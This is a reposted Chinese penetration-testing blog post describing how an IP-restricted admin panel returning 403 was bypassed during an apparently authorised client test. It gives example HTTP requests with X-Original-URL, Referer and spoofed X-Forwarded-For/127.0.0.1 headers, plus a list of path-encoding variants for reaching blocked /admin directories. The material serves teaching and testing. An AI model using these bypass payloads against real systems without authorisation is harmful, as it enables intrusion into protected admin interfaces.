記一次403繞過技巧


文章來源:酒仙橋六號部隊

鏈接:http://www.sins7.cn/remember-a-403-bypass-technique/

背景

記一次接到客戶的一個需求,后台管理地址(https://xxx.xxxx.com)僅允許工作區公網出口訪問,對於IP的訪問限制是否存在缺陷可以繞過,外網進行訪問返回403狀態碼。

實戰

姿勢一: 端口利用

拿到客戶給的地址后,首先進行信息收集。端口信息收集,利用nmap進行全端口探測,發現除了80端口之外,還開放了一個web服務的8001端口,我們嘗試使用8001端口訪問(https://xxx.xxxx.com:8001),總是充滿驚喜。可直接繞過IP限制進行訪問。怕是這個運維要挨錘了,立馬把這個問題,反饋給客戶。

https://iamadmixxx.xxx.xxx:8001/auth/login

通過溝通,由於疏忽未下線8001端口,客戶貌似認為這個很簡單,關閉8001端口,下線業務后,讓我們繼續嘗試后台能否繞過。

姿勢二:修改HOST

我們先說下Host在請求頭中的作用,在一般情況下,幾個網站可能會部署在同一個服務器上,或者幾個 web 系統共享一個服務器,通過host頭來指定應該由哪個網站或者web系統來處理用戶的請求。

而很多WEB應用通過獲取HTTP HOST頭來獲得當前請求訪問的位置,但是很多開發人員並未意識到HTTP HOST頭由用戶控制,從安全角度來講,任何用戶輸入都是認為不安全的。

 

當服務器獲取HOST的方式不當時,我們可以通過修改Host值來進行繞過。首先對該目標域名進行子域名收集,整理好子域名資產(host字段同樣支持IP地址)。先Fuzz測試跑一遍收集到的子域名,這里使用的是Burp的Intruder功能。

往往成功也離不開運氣,看到一個服務端返回200的狀態碼。成功找到一個在HOST白名單中的子域名。我們利用firefox插件來修改HOST值,成功繞過訪問限制。

另辟蹊徑,效果越出彩,而且技巧也遠遠不止上面提到的一小部分。

在這里我們總結一下403繞過技巧

姿勢三:覆蓋請求URL

嘗試使用X-Original-URL和X-Rewrite-URL標頭繞過Web服務器的限制。

介紹:通過支持X-Original-URL和X-Rewrite-URL標頭,用戶可以使用X-Original-URL或X-Rewrite-URL HTTP請求標頭覆蓋請求URL中的路徑,嘗試繞過對更高級別的緩存和Web服務器的限制。

示例:

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden

  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response  HTTP/1.1 200 OK

  or

  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK

Burp學院實驗室進行演示,首先普通用戶訪問admin頁面會被限制,要使用admin用戶登錄才行。點擊 管理面板(Admin panel)burp抓包查看,服務端返回403,”Access denied”禁止訪問。

在Header頭中添加X-Original-URL標頭,發現已經有權限可以刪除Administrator、carlos、wiener 帳號的管理員權限。

姿勢四:Referer標頭繞過

嘗試使用Referer標頭繞過Web服務器的限制。

介紹:Referer 請求頭包含了當前請求頁面的來源頁面的地址,即表示當前頁面是通過此來源頁面里的鏈接進入的。服務端一般使用 Referer 請求頭識別訪問來源。

示例:

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 ForbiddenReqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OKorReqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

Burp學院實驗室進行演示,使用非管理員憑據登錄后,瀏覽/admin-roles?username=carlos&action=upgrade 服務端返回401未進行認證,無權限訪問。

在Header頭中添加Referer標頭,服務端提示302表示請求成功,使用Referer標頭繞過Web服務器的限制。

姿勢五:代理IP

一般開發者會通過Nginx代理識別訪問端IP限制對接口的訪問,嘗試使用 X-Forwarded-For、X-Forwared-Host等標頭繞過Web服務器的限制。

- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

示例

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 UnauthorizedReqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

姿勢六:擴展名繞過

基於擴展名,用於繞過403受限制的目錄。

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200

 

 

 

 

文章來源:酒仙橋六號部隊


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM